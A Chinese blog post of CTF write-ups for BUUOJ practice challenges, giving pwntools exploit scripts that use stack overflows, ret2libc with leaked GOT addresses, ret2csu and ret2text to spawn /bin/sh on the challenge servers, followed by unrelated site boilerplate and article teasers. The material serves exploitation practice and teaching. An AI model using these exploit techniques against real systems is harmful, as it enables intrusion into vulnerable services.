context.log_level = 'debug'p = remote("node5.buuoj.cn", 29224)win1_addr = 0x80485CB
win2_addr = 0x80485D8 # 0xBAAAAAAD
backdoor_addr = 0x804862B # 0xDEADBAAD
arg_win2 = 0xBAAAAAAD
arg_backdoor = 0xDEADBAADpayload = b'a' * (0x18 + 4) + p32(win1_addr) + p32(win2_addr) + p32(backdoor_addr) + p32(arg_win2) + p32(arg_backdoor)p.sendline(payload)
p.interactive()

其实我有个疑问,如果这个题还得要再控制一个函数该咋整呢,调用参数都是 esp + 8,这里啥都不管的话 flag 的返回地址就是 arg_win2,但是如果写 p32(backdoor_addr) 后面那 win2 的参数就错了。要长脑子了,好痒.....

pwn2_sctf_2016

其实看见它给了个 int 80 很想用 execv 的,但是 ROPgadget 看了眼给的寄存器太烂了,布置起来好麻烦,不如 ret2libc

他长度的控制是个 uint,-1 绕过即可

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 29890)
elf = ELF("./pwn2_sctf_2016")printf_got = elf.got["printf"]
printf_plt = elf.plt["printf"]
getchar_got = elf.got["getchar"]
main_addr = elf.symbols["main"]p.sendlineafter(b'read? ',b'-1')
payload = b'a' * (0x2C + 4) + p32(printf_plt) + p32(main_addr) + p32(printf_got)
p.recvuntil(b'data!\n')
p.sendline(payload)
p.recvuntil(b'\n')printf_addr = u32(p.recv(4))
print(hex(printf_addr))p.sendlineafter(b'read? ',b'-1')
payload = b'a' * (0x2C + 4) + p32(printf_plt) + p32(main_addr) + p32(getchar_got)
p.recvuntil(b'data!\n')
p.sendline(payload)
p.recvuntil(b'\n')getchar_addr = u32(p.recv(4))
print(hex(getchar_addr))libc = LibcSearcher('getchar', getchar_addr)
# libc.add_condition('printf', printf_addr)
# libc = LibcSearcher('printf', printf_addr)
# libc.add_condition('getchar', getchar_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
str_bin_sh_addr = libc_base + libc.dump('str_bin_sh')p.sendlineafter(b'read? ', b'-1')
payload = b'a' * (0x2C + 4) + p32(system_addr) + p32(0xdeadbeef) + p32(str_bin_sh_addr)
p.recvuntil(b'data!\n')
p.sendline(payload)p.interactive()

把 libcsearcher 的 db 库更新了一下,只用 printf 找出来一大坨,结果按脚本说的加了个 getchar 的条件,没变化,但是 tmd 单独找 getchar 就行了,难绷,怀疑是这个 add_condition 没用对。

选 ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)

jarvisoj_level3

怎么又是 ret2libc...确实想不到其它做法

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 26031)
elf = ELF("./level3")write_got = elf.got["write"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]payload = b'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil(b'Input:\n')
p.sendline(payload)
write_addr = u32(p.recv(4))
print(hex(write_addr))libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh_addr = libc_base + libc.dump('str_bin_sh')payload = b'a' * (0x88 + 4) + p32(system_addr) + p32(0xdeadbeef) + p32(str_bin_sh_addr)
p.recvuntil(b'Input:\n')
p.sendline(payload)p.interactive()

ciscn_2019_s_3

ret2csu,说实话现在还是有点没搞明白

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 28366)vuln_addr = 0x4004ED
execv_addr = 0x4004E2
pop_rdi = 0x4005a3
csu_front_addr = 0x400580
csu_end_addr = 0x40059A
syscall_addr = 0x400517def csu(rbx, rbp, r12, r13, r14, r15, last):# pop rbx,rbp,r12,r13,r14,r15# rbx should be 0,# rbp should be 1,enable not to jump# r12 should be the function we want to call# rdi=edi=r15d# rsi=r14# rdx=r13# payload = b'a' * (0x10 + 8)payload = b''payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload += p64(csu_front_addr)payload += b'a' * 0x38# payload += p64(last)return payloadpayload = b'/bin/sh\x00'.ljust(0x10, b'\x00') + p64(vuln_addr)
p.send(payload)
p.recv(0x20)
str_bin_sh_addr = u64(p.recv(8)) - 280assem_59 = str_bin_sh_addr + 0x10payload = b'/bin/sh\x00'.ljust(0x10, b'a') + p64(execv_addr) + csu(0, 1, assem_59, 0, 0, 0, 0xdeadbeef) + p64(pop_rdi) + p64(str_bin_sh_addr) + p64(syscall_addr)
p.sendline(payload)
p.interactive()

wustctf2020_getshell

第一页最后一个是个 ret2text...?有点幽默

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 27671)shell_addr = 0x804851B
payload = b'a' * (0x18 + 4) + p32(shell_addr) + p32(0xdeadbeef)
p.sendline(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/836314.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BurpSuite功能介绍

Burp Suite一共包含13个功能模块,它们帮助渗透测试人员更好地了解目标应用的整体状况、当前的工作涉及哪些目标、攻击面等信息。 Burp Suite Target主要包含站点地图、目标域、Target工具域并分析可能存在的漏洞。 Burp Suite Spider主要用于大型的应用系统测试,它能在很短时…

Jluosne的GNU Radio 频道的介绍

Jluosne的GUN Radio的频道 本频道主要发布有关GUN Radio有关的学习路径和学习资料,相关材料涉及到GUN Radio官方网站和优质的博文会进行refence mark。欢迎大家的关注和评论。 本频道的内容发布周期 非节假日为日刊,节假日休刊。不定期休刊,休刊会提前发布声明。 本频道的发…

2024-2025, 四大翻译工具加AI翻译的深度对比

在过去两年中,人工智能技术的迅猛发展对翻译工具产生了深远的影响。本期特意挑选了四款翻译工具以及一个AI翻译工具,对其性能进行评测,看看在AI技术的加持下,它们的质量提升如何。前言 在过去两年中,人工智能技术的迅猛发展对翻译工具产生了深远的影响。 本期特意挑选了四…

vue2-组件化编程

模块:向外提供特定功能的js呈现 组件:用来实现局部(特定)功能效果的代码集合 模块化:当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用 组件化:当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用编写组件-非单文件组件非单文件组件:一个…

实验4 类的组合、继承、模板类、标准库

任务2 源码:1 #include <iostream>2 #include <vector>3 #include <string>4 #include <algorithm>5 #include <numeric>6 #include <iomanip>7 8 using std::vector;9 using std::string;10 using std::cin;11 using std::cout;12 using…

人工智能之机器学习线代基础——行列式、矩阵的 逆(inverse)、伴随矩阵

行列式(Determinant) 是线性代数中的一个重要概念,用于描述方阵的一些性质。行列式是一个标量,计算方法和矩阵的大小有关。 不使用代数余子式的定义 不使用代数余子式的定义的三阶计算案例 矩阵的 逆(inverse) 伴随矩阵

十光年团队——Alpha冲刺总结

目录1.项目冲刺链接2.项目完成情况(1)项目预期计划(2)现实进展(3)项目的亮点(4)项目的不足3.过程体会4.队员分工作业所属的课程 软件工程2024作业要求 2024秋软工实践团队作业-第三次( Alpha冲刺)作业的目标 团队分工,记录冲刺进度,对任务进行总结团队名称 十光年团…

银河护胃队-冲刺日志(第五天)

作业所属课程 https://edu.cnblogs.com/campus/fzu/SE2024/作业要求 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13305作业的目标 2024-11-15冲刺日志,记录每天的冲刺会议与进度团队名称 银河护胃队团队成员学号-名字 072208130-曹星才(组长)052205144-张诗悦1022…

数据采集作业4

数据采集作业四 gitee链接:https://gitee.com/wangzm7511/shu-ju/tree/master/作业4 1.使用 Selenium 爬取股票数据的实战 需求:熟练掌握 Selenium 查找 HTML 元素,爬取 Ajax 网页数据,等待 HTML 元素等内容。 使用 Selenium 框架 + MySQL 数据库存储技术路线爬取“沪深 A …

2.6

import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D 模拟高程数据(假设数据已经过某种方式插值或生成) 这里我们创建一个简单的40x50网格,并填充随机高程值 x = np.linspace(0, 43.65, 40) y = np.linspace(0, 58.2, 50) X, Y = …

2.1

import numpy as np import matplotlib.pyplot as plt 定义 x 的范围 x = np.linspace(-5, 5, 400) 计算三个函数的值 y_cosh = np.cosh(x) y_sinh = np.sinh(x) y_half_exp = 0.5 * np.exp(x) 创建图形和坐标轴 plt.figure(figsize=(10, 6)) ax = plt.gca() 绘制函数 ax.plot(…